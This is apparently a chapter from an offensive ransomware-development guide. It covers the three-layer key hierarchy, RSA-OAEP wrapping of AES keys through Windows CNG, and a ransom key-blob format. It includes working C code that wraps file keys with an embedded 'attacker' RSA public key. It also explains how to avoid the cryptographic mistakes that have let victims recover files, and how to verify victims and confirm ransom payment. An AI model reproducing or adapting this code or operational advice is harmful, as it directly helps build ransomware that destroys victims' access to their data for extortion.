Chapter 91

Key Hierarchy and RSA Wrapping

The key hierarchy is what makes ransomware cryptographically sound — or fatally flawed. A mistake in how keys are generated, wrapped, or stored means the victim could potentially recover their files without paying, breaking the entire leverage model. This chapter covers the correct three-layer key hierarchy implementation using Windows CNG (Cryptography Next Generation) APIs, the RSA-OAEP wrapping of symmetric keys, the key blob format, and the critical security properties that must hold for the ransomware to be cryptographically robust.

The Three-Layer Key Hierarchy

Key hierarchy — generation, wrapping, and storage
  ┌──────────────────────────────────────────────────────────────────────┐
  │ LAYER 3 (Attacker infrastructure — never on victim machine)          │
  │                                                                      │
  │  RSA-2048 keypair (or RSA-4096 for maximum security):               │
  │    Private key: stored in attacker's HSM / secure server            │
  │    Public key: embedded in ransomware binary (2048-bit = 256 bytes) │
  └──────────────────────────────┬───────────────────────────────────────┘
                                 │ RSA public key hardcoded
                                 ▼
  ┌──────────────────────────────────────────────────────────────────────┐
  │ LAYER 2 (Session key — optionally generated per machine)             │
  │                                                                      │
  │  Option A (simple): use each file's AES key directly as Layer 1     │
  │  Option B (efficient): one AES-256 session key per machine          │
  │    All file AES keys are encrypted with this session key            │
  │    Session key encrypted with RSA pubkey (1 RSA op per machine)     │
  │    Advantage: only 1 RSA encryption per victim (not one per file)   │
  └──────────────────────────────┬───────────────────────────────────────┘
                                 │ Session key (or direct file key)
                                 ▼
  ┌──────────────────────────────────────────────────────────────────────┐
  │ LAYER 1 (File keys — one per file, generated randomly)              │
  │                                                                      │
  │  K_file = BCryptGenRandom(32 bytes)                                 │
  │  N_file = BCryptGenRandom(12 bytes) [GCM nonce]                    │
  │                                                                      │
  │  File content: AES-256-GCM(K_file, N_file, plaintext)              │
  │  K_file wrapped: AES-256(session_key, K_file) [or RSA-OAEP]        │
  │  Auth tag verifies: ciphertext + victim_id as AAD                   │
  └──────────────────────────────────────────────────────────────────────┘
  
  KEY BLOB FORMAT (written to .rnsom_key file):
  ─────────────────────────────────────────────────────────────────────────
  [4 bytes]  Magic: "RNKB"
  [16 bytes] Victim ID (random, identifies which victim this key belongs to)
  [256 bytes] RSA-OAEP encrypted session key (RSA-2048 output)
  [12 bytes] GCM nonce for this file
  [16 bytes] GCM authentication tag
  [8 bytes]  Original file size
  [32 bytes] SHA-256 of original plaintext (for decryption verification)
  ─────────────────────────────────────────────────────────────────────────
  Total: 344 bytes per key blob file
  
  SECURITY PROPERTIES (what makes this cryptographically sound):
  ─────────────────────────────────────────────────────────────────────────
  1. Random AES key per file → compromise of one key doesn't help other files
  2. AES key wrapped with RSA public key → only RSA private key holder can unwrap
  3. GCM nonce is unique per file → no nonce reuse (catastrophic in GCM)
  4. RSA private key never on victim machine → no memory dump can recover it
  5. Auth tag covers ciphertext + victim_id → tampered ciphertext fails decryption

RSA-OAEP Key Wrapping with CNG

/* rsa_wrap.c — RSA-OAEP encryption of AES key using Windows CNG */

#include <windows.h>
#include <bcrypt.h>
#include <ncrypt.h>
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "ncrypt.lib")

/* Import attacker's RSA public key from DER-encoded SubjectPublicKeyInfo blob.
   The key is embedded in the ransomware binary as a byte array.
   Generate with: openssl genrsa 2048 | openssl rsa -pubout -outform DER > pubkey.der */

/* Attacker's RSA-2048 public key (placeholder — replace with real key) */
static const BYTE ATTACKER_RSA_PUBKEY_DER[] = {
    /* DER-encoded RSA-2048 public key goes here */
    /* Generated by: openssl genrsa 2048 > privkey.pem */
    /*               openssl rsa -in privkey.pem -pubout -outform DER > pubkey.der */
    /* Then: xxd -i pubkey.der >> rsa_wrap.c */
    0x30, 0x82, 0x01, 0x22, /* ... actual key bytes ... */
};
static const DWORD ATTACKER_RSA_PUBKEY_LEN = sizeof(ATTACKER_RSA_PUBKEY_DER);

/* RSA-OAEP-SHA256 encrypt 32-byte AES key with the attacker's RSA public key */
BOOL rsa_wrap_key(const BYTE *aes_key, DWORD aes_key_len,
                   BYTE *encrypted_out, DWORD *encrypted_len_out) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status;

    /* Import RSA public key from DER */
    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_RSA_ALGORITHM, NULL, 0);
    if (!BCRYPT_SUCCESS(status)) return FALSE;

    /* CNG expects the key in BCRYPT_RSAPUBLIC_BLOB format, not DER.
       We need to parse the DER and construct the BCRYPT blob. */
    
    /* Parse DER SubjectPublicKeyInfo to extract modulus and public exponent */
    /* Simplified: use CryptImportPublicKeyInfoEx2 from wincrypt.h */
    CERT_PUBLIC_KEY_INFO *pub_key_info = NULL;
    DWORD decoded_len = 0;
    
    if (!CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
                              ATTACKER_RSA_PUBKEY_DER, ATTACKER_RSA_PUBKEY_LEN,
                              CRYPT_DECODE_ALLOC_FLAG | CRYPT_DECODE_NOCOPY_FLAG,
                              NULL, &pub_key_info, &decoded_len)) {
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return FALSE;
    }

    if (!CryptImportPublicKeyInfoEx2(X509_ASN_ENCODING, pub_key_info, 0, NULL, &hKey)) {
        LocalFree(pub_key_info);
        BCryptCloseAlgorithmProvider(hAlg, 0);
        return FALSE;
    }
    LocalFree(pub_key_info);

    /* Encrypt the AES key using RSA-OAEP with SHA-256 */
    BCRYPT_OAEP_PADDING_INFO oaep_info = {0};
    oaep_info.pszAlgId = BCRYPT_SHA256_ALGORITHM;  /* OAEP hash: SHA-256 */
    oaep_info.pbLabel  = NULL;  /* Optional OAEP label (omit = default) */
    oaep_info.cbLabel  = 0;

    DWORD result_len = 0;
    /* First call: get output buffer size */
    status = BCryptEncrypt(hKey, (BYTE*)aes_key, aes_key_len, &oaep_info,
                           NULL, 0, NULL, 0, &result_len, BCRYPT_PAD_OAEP);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    /* Second call: encrypt */
    status = BCryptEncrypt(hKey, (BYTE*)aes_key, aes_key_len, &oaep_info,
                           NULL, 0, encrypted_out, *encrypted_len_out, &result_len,
                           BCRYPT_PAD_OAEP);
    if (BCRYPT_SUCCESS(status)) *encrypted_len_out = result_len;

cleanup:
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return BCRYPT_SUCCESS(status);
}

/* Session key approach: one RSA operation per victim (not per file) */
typedef struct {
    BYTE session_key[32];         /* Random AES-256 session key for this machine */
    BYTE wrapped_session_key[256]; /* RSA-OAEP(attacker_pubkey, session_key) */
} VictimSessionKey;

BOOL generate_victim_session_key(VictimSessionKey *sk) {
    /* Generate random 32-byte session key */
    BCryptGenRandom(NULL, sk->session_key, 32, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
    
    /* Wrap with RSA public key */
    DWORD out_len = sizeof(sk->wrapped_session_key);
    return rsa_wrap_key(sk->session_key, 32, sk->wrapped_session_key, &out_len);
}

/* Per-file: encrypt the file's AES key with the session key (AES-256-ECB for key wrapping) */
BOOL wrap_file_key_with_session(const BYTE *file_key, const BYTE *session_key,
                                  BYTE *wrapped_file_key_out) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    
    /* Use AES Key Wrap (RFC 3394) for key wrapping — designed for wrapping keys */
    /* Simplified: AES-256-ECB for this demonstration */
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                      (BYTE*)BCRYPT_CHAIN_MODE_ECB, sizeof(BCRYPT_CHAIN_MODE_ECB), 0);
    
    DWORD key_obj_sz = 0, dummy = 0;
    BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (BYTE*)&key_obj_sz, 4, &dummy, 0);
    BYTE *key_obj = (BYTE*)alloca(key_obj_sz);
    BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_sz,
                                (BYTE*)session_key, 32, 0);
    
    DWORD out_len = 0;
    BCryptEncrypt(hKey, (BYTE*)file_key, 32, NULL, NULL, 0,
                  wrapped_file_key_out, 32, &out_len, 0);
    
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return out_len == 32;
}

Security Analysis — What Could Go Wrong

Common ransomware cryptographic mistakes and their consequences
  MISTAKE 1: Using rand() or time() to seed key generation
  ─────────────────────────────────────────────────────────────────────────
  Code: srand(time(NULL)); for (i=0; i<32; i++) key[i] = rand() % 256;
  
  Time-seeded: if the analyst knows the approximate time of encryption
  (from file timestamps), they can brute-force the seed value.
  rand() has only 2^31 possible seeds → searchable in hours.
  
  Real case: CryptoDefense (2014) seeded keys with timestamp.
  Researchers recovered files by brute-forcing the timestamp seed.
  
  FIX: BCryptGenRandom() with BCRYPT_USE_SYSTEM_PREFERRED_RNG — uses
  the OS's CSPRNG which is seeded from hardware entropy.
  
  MISTAKE 2: Reusing nonces in GCM
  ─────────────────────────────────────────────────────────────────────────
  Code: memset(nonce, 0, 12); // Same nonce for all files
  
  GCM with nonce reuse = catastrophic keystream reuse.
  Two ciphertexts encrypted with the same key+nonce can be XOR'd to
  reveal plaintext (known-plaintext attack).
  
  FIX: BCryptGenRandom() for each file's nonce. Guarantee uniqueness.
  
  MISTAKE 3: Symmetric-only encryption (no RSA wrapping)
  ─────────────────────────────────────────────────────────────────────────
  Code: hardcode a single AES key in the binary; encrypt all files.
  
  Any victim can extract the key from memory during encryption, or from the
  ransomware binary statically. All encrypted files worldwide are recoverable.
  
  Real case: WannaCry's key management had bugs that allowed recovery
  without payment for systems that hadn't been rebooted.
  
  FIX: Random per-file key wrapped with RSA public key. Key is unknown
  to anyone without the RSA private key.
  
  MISTAKE 4: Writing the decryption key to disk or network before exiting
  ─────────────────────────────────────────────────────────────────────────
  Code: write key to C:\Windows\Temp\decrypt_key.txt for "backup"
  
  Any forensics analyst, AV, or memory forensics tool recovers the key.
  
  FIX: Keys stay in protected memory only during encryption. After each
  file is encrypted and the key blob is written, SecureZeroMemory()
  the plaintext key from memory. The plaintext key never hits disk.

Questions & Answers

What key size should you use for the RSA component, and does it matter?

RSA-2048 is the current minimum acceptable standard (equivalent security to AES-112 bits). RSA-4096 provides better long-term security but is 6-8x slower for the encryption operation (the one RSA encryption per victim). For ransomware: even RSA-2048 is far beyond any currently feasible attack with classical computers. The actual risk isn't key length — it's implementation flaws (see the security analysis section). RSA-2048 takes ~1ms to encrypt; RSA-4096 takes ~6ms. For hundreds of thousands of files with per-file RSA wrapping, this matters. With the session key approach (one RSA op per machine), the difference is negligible. Practical recommendation: RSA-2048 with the session key approach. RSA-4096 only if you're concerned about "harvest now, decrypt later" (attackers storing encrypted traffic to decrypt years later when quantum computers arrive — relevant for nation-state adversaries but not for typical ransomware operators). The AES-256-GCM layer is the primary protection for file content; RSA only wraps the small key material.

How does the WannaCry cryptographic bug allow recovery without payment?

WannaCry (2017) had a critical implementation flaw: when generating the encryption keys, the ransomware called CryptDestroyKey() and CryptReleaseContext() on the primary key after encryption — standard cleanup. But the prime numbers used to generate the RSA key pair were not wiped from memory before the call. On unpatched systems (or if the WannaCry process hadn't been killed), these prime numbers remained in memory pages that the OS hadn't yet zeroed and reallocated. Researchers from quarkslab developed WanaKiwi, which scanned process memory for these prime numbers and reconstructed the private key from them. The lesson: (1) Always use SecureZeroMemory() on ALL sensitive key material, including intermediate computation values, not just the final key. (2) The OS doesn't guarantee zeroing freed memory pages — your code must do it. (3) WannaCry also had a bug where it didn't properly delete shadow copies on some configurations, allowing VSS-based recovery. This is why modern ransomware groups spend significant resources testing their cryptographic implementations, sometimes hiring cryptographers to audit the key management code before a campaign.

How do you verify the victim's identity when they contact you for a decryptor?

The victim_id (16-byte random value stored in every .rnsom_key file) is the authentication token. The victim's ransom note contains a mechanism to display or extract their victim_id — either printed directly in the note, or retrieved by running a small "identifier" tool that reads the victim_id from any .rnsom_key file. When the victim contacts the attacker's payment portal, they provide their victim_id. The attacker's backend looks up: "which RSA private key is associated with victim_id X?" (for per-victim key pair approaches) or just verifies that victim_id X is in the known victim database. Payment is confirmed on-chain (cryptocurrency transaction verification). After payment confirmation: the attacker provides either (A) a decryptor binary that includes the RSA private key unlockable by the payment transaction hash, or (B) the raw RSA private key that the victim uses with a provided decryptor. The victim_id also prevents victims from sharing decryptors with each other — each victim's .rnsom_key files are tied to their specific RSA wrapping, so a decryptor with "victim A's" RSA private key doesn't help "victim B" whose keys were wrapped with a different RSA keypair.

How does a security researcher decrypt files if they find the ransomware binary but not the private key?

Without the RSA private key, there's no practical way to decrypt files encrypted with a sound implementation. Security researchers look for implementation flaws instead: (1) Static key analysis: is the AES key or RSA private key hardcoded in the binary? Some immature ransomware hardcodes a single symmetric key. Disassemble the binary, search for 32-byte strings used in crypto API calls. (2) Weak PRNG: was a time-based or predictable seed used? Try brute-forcing the PRNG seed based on file creation timestamps. (3) Key in memory: if the ransomware process is still running or recently exited (memory page not yet reused), scan for key material using tools like WanaKiwi or MPRESS analysis. (4) Command and control communication: if the ransomware sends the key to a C2 server, intercepting that traffic (network capture or MitM) captures the key in transit. (5) Law enforcement action: law enforcement seizing the attacker's servers may recover private keys. The US DOJ recovered Bitcoin paid to Colonial Pipeline attackers and may have obtained decryption keys through server seizures. (6) Pay and analyze the decryptor: receiving a legitimate decryptor after payment reveals the RSA private key embedded inside it — now other victims can use it (this sometimes happens when law enforcement pays a ransom specifically to get the decryptor for analysis and public release).

Why is the session key approach (one RSA per machine) better than one RSA per file?

With per-file RSA: 100,000 files × 1ms per RSA-2048 operation = 100 seconds of RSA operations added to the total encryption time. With the session key approach: 1 RSA operation per machine (1ms) + 100,000 AES-256-ECB key wrapping operations (~1 microsecond each = 100ms total). The session approach is ~1000x faster for the key wrapping component. For the decryption side: the attacker's decryptor only needs to decrypt the session key once per machine (1 RSA operation), then use it to unwrap all file keys (fast AES). Per-file RSA would require 100,000 RSA decryption operations per machine, making the decryptor agonizingly slow (especially for large-scale campaigns with millions of files). The session key approach also reduces the size of key material stored per file: instead of 256 bytes of RSA output per file, each file only needs 32 bytes of AES-wrapped key. The .rnsom_key blob is smaller and faster to write. The one downside: if the session key is recovered (memory forensics during encryption), all files on that machine can be decrypted. Per-file RSA limits blast radius to files whose in-memory key hasn't been zeroed yet. In practice: SecureZeroMemory on each file key after use makes this theoretical.